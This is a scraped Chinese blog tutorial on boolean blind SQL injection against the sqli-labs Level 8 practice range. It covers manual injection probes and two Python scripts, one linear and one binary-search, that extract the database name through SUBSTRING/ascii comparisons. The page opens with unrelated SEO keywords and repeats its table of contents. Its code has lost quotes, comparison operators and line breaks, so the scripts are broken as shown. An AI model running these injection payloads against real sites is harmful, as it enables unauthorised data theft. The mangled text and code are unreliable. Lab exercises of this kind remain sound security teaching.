自动全屏网站模板,wordpress增加自适应功能,烟台网站制作厂家联系方式,萧山做网站的公司目录
盲注步骤
1、进入靶场
2、如下图所示输入#xff1f;id1‘ 判断此时存在注入点
3、判断列数
编辑 4、开始盲注
普通的python脚本
代码思想
结果
二分查找python脚本
二分查找算法思想简介
二分查找与普通查找的主要差距
代码思想
代码
结果编辑 下面以…目录
盲注步骤
1、进入靶场
2、如下图所示输入id1‘ 判断此时存在注入点
3、判断列数
编辑 4、开始盲注
普通的python脚本
代码思想
结果
二分查找python脚本
二分查找算法思想简介
二分查找与普通查找的主要差距
代码思想
代码
结果编辑 下面以sql_labs靶场第八关来理解一下bool盲注
盲注步骤
1、进入靶场 2、如下图所示输入id1‘ 判断此时存在注入点 3、判断列数 列又3变为4时You are in.....消失说明存在三列 4、开始盲注
然后我们可以开始进行注入可以使用substr函数对数据库名进行猜测。对substr切割出来的字符进行一个ascli编码然后和ascli编码比较根据结果确定数据库的名称
如下图当你测试到115时图中会显示You are in... 然后可以调整sql语句直到找到database()的名字但是如果手动一个个的话要花费的时间太久了所以我们编写一个python脚本来进行盲注
普通的python脚本
代码思想
创建一个字符集然后数据库的每个位置的字符和字符集中的字符进行比对若两者相等则字符集中字符存入dataname中最终显示dataname
代码
# 白大黑
# 开发时间$[DATE] $[TIME]
import requests
def get_database(url):dataname # 初始化一个空字符串用于存储数据库名dict abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ #数据库名可能存在这些字段中# 循环数据库名的位置for i in range(1, 20):for j in dict:#注入语句payload 1 AND SUBSTRING((SELECT DATABASE()), %d, 1) %s-- % (i, j)# 发送请求res requests.get(url, params{id: payload})# 如果字符匹配上了屏幕会输出You are in所以可以用You are in来检测是否字符是否可以匹配if You are in in res.text:dataname jprint(dataname)breakelse:continuereturn dataname# 此处填写自己靶场地址
url http://127.0.0.1:9002/sqli-labs-master/Less-8/
db_name get_database(url)结果 二分查找python脚本
但时刚刚的脚本还不是很好它的查找速率不是很快。所以我们可以对算法进行一下优化将上面的代码中查找的算法替换成二分查找。
二分查找算法思想简介
二分法的思想很简单因为整个数组是有序的数组默认是递增的。
首先选择数组中间的数字和需要查找的目标值比较
如果相等最好就可以直接返回答案了
如果不相等
如果中间的数字大于目标值则中间数字向右的所有数字都大于目标值全部排除
如果中间的数字小于目标值则中间数字向左的所有数字都小于目标值全部排除
二分查找与普通查找的主要差距
效率二分查找的效率远高于普通查找。由于二分查找采用了分治策略每次都将查找范围缩小一半因此其时间复杂度为O(log n)而普通查找的时间复杂度为O(n)。
前提条件二分查找要求数组必须是有序的而普通查找则没有这一要求。因此在使用二分查找之前需要先对数组进行排序。
应用场景由于二分查找效率高因此适用于大规模数据的查找而普通查找则更适用于小规模数据或对数据有序性没有要求的情况。
正好我们的盲注过程符合二分查找的条件
代码思想
将要查找的字段编码成ascii码同ascii码进行比较ascii相同该ascii对应的字母就是数据库名称
同ascii进行比较的那一段换成二分法。
代码 # 白大黑
# 开发时间$[DATE] $[TIME]
import requests
def half(url):name for i in range(1, 20):#从空格开始 直到到~low 32high 126mid (low high) // 2while low high:payload 1 and ascii(substr(database(),%d,1)) %d-- % (i, mid)params {id:payload}r requests.get(url, paramsparams)if You are in in r.text:low mid 1else:high midmid (low high) // 2if mid 32:breakname chr(mid)print(name)
url http://127.0.0.1:9002/sqli-labs-master/Less-8/
half(url)
结果
